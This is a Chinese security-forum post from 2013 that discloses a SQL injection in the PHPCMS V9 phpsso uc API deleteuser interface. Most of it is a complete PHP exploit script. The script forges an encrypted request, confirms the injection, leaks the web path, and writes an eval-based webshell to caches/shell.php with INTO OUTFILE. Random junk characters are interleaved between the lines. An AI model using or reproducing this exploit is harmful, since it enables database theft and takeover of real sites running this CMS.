中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
" b( q4 F% `% N
' ?8 H; N1 s6 T0 f( ?2 \
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
: N6 H6 d s7 i( W( C9 \' ^- q
8 z |$ G Q4 p/ u
漏洞分析:
- |3 x# T) S: N, y$ Q
1.未启用ucenter服务的情况下uc_key为空
2 I* s& ^9 s8 ~6 Z
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
# g ?( J( D7 \ m3 Q4 i
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ M8 V$ X# R. I3 {$ n6 N
public function deleteuser($get,$post) {
Q+ a4 b/ C% Q4 ^
pc_base::load_app_func('global', 'admin');
9 P( P; ^. T( D [5 u: @/ A
pc_base::load_app_class('messagequeue', 'admin' , 0);
0 h! s' ~1 Y. U- _ r0 F/ }, ?
$ids = new_stripslashes($get['ids']);
6 _- k% p: }$ D
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
1 E1 y$ f& H% |8 G
SQL语句为
, k# R/ V9 E& B K0 Y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 }6 i2 F( `; O: _
' ?- g4 }3 e0 e/ @0 l; Z
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
. ^) I; W, }2 |: U1 L8 U5 m
<?php
( t4 w. O* L- W7 F
print_r('
% \9 L8 H" e. @; W- V) y( g o/ l
---------------------------------------------------------------------------
. D: E2 Z$ M( [( p1 R3 z3 e. v
PHPcms (v9 or Old Version) uc api sql injection 0day
- U" r5 o8 p: _, q& ]! G, p9 V
by rayh4c#80sec.com
- g' k( a8 |5 [8 u' A- Q* {
---------------------------------------------------------------------------
5 H, n) |; a4 E4 {( @6 |
');
. l, R' y8 `4 [! S. A' H6 h
7 E, {3 d2 L/ Z5 l
if ($argc<3) {
- C/ _# {% @" @# Q S% `1 A
print_r('
a+ a0 R+ I; e7 _
---------------------------------------------------------------------------
+ l5 v. Y" y% X& ?" P, p& m9 i
Usage: php '.$argv[0].' host path OPTIONS
) m* {1 A; t& b+ m; \$ Z% B
host: target server (ip/hostname)
2 ^; |& e" j( |0 m
path: path to phpcms
/ r1 O Y# m7 X7 m8 N8 |
Options:
! h4 ]) {2 ^) l0 c/ u& m
-p[port]: specify a port other than 80
# e- z8 w' \1 k) D0 g$ z- m
-P[ip:port]: specify a proxy
# J; i# x3 x% H- u% t* Q% ~5 e1 O
Example:
+ {% \" g. y" d8 R: x( w
php '.$argv[0].' localhost /
& c2 c' |1 }) X5 O. b& b+ |
php '.$argv[0].' localhost /phpcms/ -p81
7 H6 p( h* N3 x8 V `. c
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
, F- d+ l# s& j4 I
---------------------------------------------------------------------------
2 ~- X3 Z }7 g
');
, r/ _" _% ?+ T! f, ^2 Z
die;
( R; e+ y0 X1 H8 S0 y
}
* [" D1 I9 N% w
- U& |% k W5 z" V
error_reporting(7);
1 ^2 m @% j! H; L* l- E
ini_set("max_execution_time",0);
/ I* C. o- w2 Y' }; y
ini_set("default_socket_timeout",5);
$ Y2 `' h# l2 V0 h; G8 D3 ^6 f4 H
2 a- H9 ]3 H6 L# N
function quick_dump($string)
+ |$ E# N3 M+ D- R( f8 x3 g
{
' L. ~1 N4 D- `' p; W: q
$result='';$exa='';$cont=0;
! F$ r# [2 ~- N5 ~
for ($i=0; $i<=strlen($string)-1; $i++)
+ X; D+ b6 e- ~' F: b' h8 p6 p
{
* o4 A! o9 U# ~& j D
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
2 ?! ~2 @1 Y' Y8 x- s+ J- K
{$result.=" .";}
: E7 v' ^6 t; A% o7 Q: W7 A0 D
else
3 t" W$ _' M- @* p7 R" I; z
{$result.=" ".$string[$i];}
' O% y8 `& V, R1 ^9 o
if (strlen(dechex(ord($string[$i])))==2)
6 v2 G- k4 q' U/ v) X
{$exa.=" ".dechex(ord($string[$i]));}
( X; ?: U. g% }! G
else
2 f" v7 A: x3 H" S$ M8 T0 ~- ]
{$exa.=" 0".dechex(ord($string[$i]));}
! d' x! `. z2 Z2 F: P7 w* S
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
- I- V, L8 \$ Z. g+ n
}
. M) \! R+ K& L7 i5 S; D3 Q% l6 r
return $exa."\r\n".$result;
0 M* H( c" S S
}
7 @, c( {- ~) H9 J7 m/ w2 |; v* l
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
6 T5 r, T9 \1 g+ {1 M; Z: o
8 G2 ]' N( e, U
function send($packet)
0 C5 m! @8 v B1 g" H$ R8 _
{
& a$ C: Z4 X$ H5 G+ }+ V$ m
global $proxy, $host, $port, $html, $proxy_regex;
$ b) ^8 b t% {
if ($proxy=='') {
& i" P* Z6 U+ w, e* V
$ock=fsockopen(gethostbyname($host),$port);
$ x6 B, H- i0 h# n3 l3 c- d
if (!$ock) {
6 i2 j U7 _/ C( C5 n' R
echo 'No response from '.$host.':'.$port; die;
4 l R3 N4 h0 a3 F
}
; j. l# ^+ W' p) q/ Z, h# x8 X
}
/ u1 `! p z0 d9 K. i4 v
else {
: j; }/ K2 y5 |0 m( w
$c = preg_match($proxy_regex,$proxy);
) K5 h0 C0 w3 r) l, w6 g. Z. r
if (!$c) {
& ~7 Q, A! p1 D1 A+ ^( Z8 z
echo 'Not a valid proxy...';die;
5 F) i; v ?5 |- b( y
}
$ r6 F6 G: C) R/ Z# i* s
$parts=explode(':',$proxy);
q6 P0 x% J# F# `
$parts[1]=(int)$parts[1];
0 u( U# g7 }5 E4 h5 X
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
/ ~; U5 y0 m7 p* h, ^. c# W6 f/ r
$ock=fsockopen($parts[0],$parts[1]);
% H/ F! n2 {, o; F1 s% F
if (!$ock) {
% Z+ \9 ^; s( t( ?
echo 'No response from proxy...';die;
4 m; c3 [7 z( K% R$ ?& @2 m
}
6 h9 {: k" J4 V
}
4 ^7 e @% i4 v2 T7 C% t: V
fputs($ock,$packet);
8 m9 h; \1 [5 @) `5 E% [& y. ?
if ($proxy=='') {
. o+ U2 [5 k1 D
$html='';
" v- v7 M% u# K- ^' y
while (!feof($ock)) {
8 C% }+ i8 R# X
$html.=fgets($ock);
& d( J4 P, ^6 }8 E
}
) f2 O6 L% e& O; X5 V* r- @, H5 R
}
) p: f; Q, p' t: g% r r
else {
- R; I s' s) D' `
$html='';
; Q# `. T- e [" a# L
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, j9 J, |/ @; |- I) I3 I0 _2 q! M. v# w
$html.=fread($ock,1);
$ J2 i Z7 u! E' m8 h& ~
}
3 ~% Y' }6 e: \9 A
}
6 u& H' E+ I3 t A) m' ^# x+ o/ p
fclose($ock);
: t7 L8 M& o4 i& ~3 ?# B
}
1 Q# _8 F( _: w$ g: x/ w3 {
I F& O. o8 W6 e4 v: n
$host=$argv[1];
" D4 }. \8 \, _! F
$path=$argv[2];
: e1 L$ j( G2 w* g8 K K
$port=80;
) }) |$ E+ _8 j9 F
$proxy="";
: k: D' ]* t+ _
for ($i=3; $i<$argc; $i++){
L) m2 A$ r- y- L* w" m5 X& y" H& M
$temp=$argv[$i][0].$argv[$i][1];
$ g c! O" i6 f# ]; }( R
if ($temp=="-p")
+ r) s7 x( H6 @& r
{
% [0 r. j5 F) \2 B9 |: y8 Y
$port=(int)str_replace("-p","",$argv[$i]);
! Q0 k4 ]' \. s
}
, Z8 Z" F6 k S* H# _
if ($temp=="-P")
" }3 S' `+ m5 e; ^" C* s7 X& X5 _
{
' E, h; |3 V/ ]& X9 M
$proxy=str_replace("-P","",$argv[$i]);
$ z% J0 c' ~' H' j* M1 B
}
) K' v4 F, n6 U6 V, b& e
}
7 W! m* @' |* s' h. ~6 A5 R5 R
4 F, r0 D1 ? R3 L* n
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
* L+ m+ U5 R# ]
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
& P# `: X4 x6 C9 V4 S
$ S J" o% n$ g2 L3 d! i
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
0 f3 B8 H: G# g' n$ @' \0 m: L
+ V9 j3 q' y. k# k4 c( h; F
$ckey_length = 4;
7 A# s3 B# V _1 k
! g, L4 u2 U# L
$key = md5($key ? $key : '');
$ V4 _! ]) S3 Q5 |$ ^+ G& r/ X6 V9 L
$keya = md5(substr($key, 0, 16));
. H) l! t& i* J! B+ R
$keyb = md5(substr($key, 16, 16));
& c. c# n5 e3 u9 F, [
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
( E1 f! h2 B) e( u9 t" A7 s! a
1 ?+ }9 L1 m& X! D! ?- y. T) o8 D6 ?+ {
$cryptkey = $keya.md5($keya.$keyc);
. ^; u7 C7 j% B; P. g. b* ~& y
$key_length = strlen($cryptkey);
' H4 w$ }% W+ L; o
) j3 u) M7 T2 S! R+ t/ t
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
8 P0 E5 W% `* D9 o/ E) Y
$string_length = strlen($string);
3 I! g7 E8 {* _. e/ G' t
$ ^; k& J6 b3 F9 ^% i; ?' R- i- @
$result = '';
5 h, J+ g7 h8 O9 T% F: B
$box = range(0, 255);
' [9 P5 S8 Y2 W
7 p8 T0 S6 g, N+ | k
$rndkey = array();
- A# j( u" } ?, T/ I# \; Z
for($i = 0; $i <= 255; $i++) {
6 }6 d& \4 E. z) b3 R
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
1 T: S" V/ u$ P4 I
}
4 {- q8 R3 s1 w# E
+ g ?0 }' j. I& K4 r% M# ]
for($j = $i = 0; $i < 256; $i++) {
! a; d$ E7 }' O
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
# Y6 n7 o' g5 x+ i- i3 G6 _8 D
$tmp = $box[$i];
J; V6 B3 j7 M. L: S" D- ?
$box[$i] = $box[$j];
6 W# d' D1 h4 `3 T7 m1 U1 H+ G1 _
$box[$j] = $tmp;
/ N0 }# ]& c/ Q* H% ^6 ?. G
}
) f3 `7 a& P8 L+ _, c. D) ~
8 C: R. @6 F" G# ~6 [) J
for($a = $j = $i = 0; $i < $string_length; $i++) {
+ {* ~/ E. ^/ l" `7 ]7 k( d6 ~4 w* t
$a = ($a + 1) % 256;
) W s8 l7 a, d8 z
$j = ($j + $box[$a]) % 256;
) F/ i5 B d; ]5 @0 c2 Q5 E1 L
$tmp = $box[$a];
3 J g- X) O; a' b4 f
$box[$a] = $box[$j];
/ y( c3 C4 {+ q
$box[$j] = $tmp;
1 j- H' Z p3 D2 H+ z, r) b: B
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. ~ F7 \, H3 J! k
}
1 o& n1 y$ z8 g/ q
9 D9 I7 s; v' L4 q% W5 |( e3 y
if($operation == 'DECODE') {
4 {# z9 r; W3 N2 k
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
1 }# f, P2 h* W% C' D9 D
return substr($result, 26);
2 y' a: R- Y; w, J
} else {
, ?6 F( K& j2 j5 r! A$ n5 P
return '';
' j- }& D( B; r+ p
}
. r, Y* B n0 Z" W8 C0 F; R
} else {
8 n2 L; d. I2 k0 V- o- L. U6 D1 I- `
return $keyc.str_replace('=', '', base64_encode($result));
: O0 p$ V6 ?- a" s/ P U' X
}
4 `4 ]& G/ A6 l# ^$ F8 A# ]( m" A* q
, V; L7 N0 n, {* C0 @
}
0 j4 L5 V; r8 q
( o* Q$ X+ d% t0 i1 S5 b ~
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( N" F t6 P# [' Z4 p
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; s5 C* g! w- f: Z, s1 c( ]
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 h6 f+ I1 u1 `: m9 K
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 D7 a* }+ v$ c4 A0 k
$packet.="User-Agent: Mozilla/5.0\r\n";
: p! c2 ]% @2 h' b' H4 ~$ w9 ^( v- i
$packet.="Host: ".$host."\r\n";
7 U1 m7 i6 Q1 F( H
$packet.="Connection: Close\r\n\r\n";
* p- v. y: [$ F/ I. k0 k* m
send($packet);
3 Y/ W% l4 K) V; _) K" U2 x, f, p5 v
if(strpos($html,"MySQL Errno") > 0){
1 G' D3 U0 b7 y6 Z
echo "[2] 发现存在SQL注入漏洞"."\n";
e$ A1 [" g# N F5 y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
" B8 F6 s2 q4 E- |! @0 h/ `
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
- {: c/ v* y) R; I! W% e2 Q1 D1 X
$packet.="User-Agent: Mozilla/5.0\r\n";
6 T% W# O, d6 z; B' c% S/ V
$packet.="Host: ".$host."\r\n";
5 E9 O0 w5 ~% { Q$ U
$packet.="Connection: Close\r\n\r\n";
1 ~, I# z( G) H; x$ O% [1 _
send($packet);
' P$ N3 b r4 t O1 Z7 `% d B
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
" s2 \& |* ?2 e
//print_r($matches);
$ z, q7 s( K% i3 H& O
if(!empty($matches)){
4 p2 h% h: j4 i! h Z/ T
echo "[4] 得到web路径 " . $matches[0]."\n";
* i& P) N$ x# ~' O5 |9 |1 b
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
! P8 C6 u* n, j4 O2 ?
$SQL = "time=999999999999999999999999&ids=1)";
& ~' r( O% n2 R3 Y6 Y
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( t0 l/ k' u' K4 f/ D
$SQL.="&action=deleteuser";
1 H' E. m e6 J X! e$ u
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 [+ @. T1 N% Y2 l* Y! _
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# `6 q( g1 S! r6 [
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
" _/ e8 G% H" g( @9 j
$packet.="User-Agent: Mozilla/5.0\r\n";
" h: x# e; _/ w
$packet.="Host: ".$host."\r\n";
3 ^1 W; \& J# e1 k( L) V
$packet.="Connection: Close\r\n\r\n";
4 a, U: s, s6 N# J
send($packet);
; h* L: b) \5 L, a
if(strpos($html,"Access denied") > 0){
' W' J I7 h0 K+ B) O
echo "[-] MYSQL权限过低 禁止写入文件
";
. ]" |* M6 Y% Y
die;
2 ~5 X# v2 _0 Z6 }
}
- Q, L$ X8 F" ?# [; F
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
# _* N4 v4 c! E2 v5 g7 F
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
* }+ P& X, J. V% P
$packet.="User-Agent: Mozilla/5.0\r\n";
6 m3 v- r! V& q& f9 p' d& b! z
$packet.="Host: ".$host."\r\n";
% e- w/ C/ u) m3 k/ [
$packet.="Connection: Close\r\n\r\n";
% N5 P6 ], i2 t
send($packet);
1 s @5 x! H/ U. Y }- f) s8 W y7 g
if(strpos($html,"<title>phpinfo()</title>") > 0){
6 S9 w9 H6 L* Q; ]
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
& P: [/ ?2 ?% q) @1 M' \ J# b" @
}
6 [9 {4 O7 N3 U G* f" P* f
}else{
. s* Q) T0 L, v" c& i& M
echo "[-]未取到web路径
";
, ~% o1 P$ ]1 X
}
# @9 x: J: @) ]# c
}else{
) T6 Q9 H: A6 K6 u! A
echo "[*]不存在SQL注入漏洞"."\n";
; O' `, U& u/ K
}
Y- R4 ?3 x9 }4 i! d6 E
1 v |# q% Q# J5 z4 W% ^7 g) I$ E
?>
4 g# M; ]" n K( b5 Y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2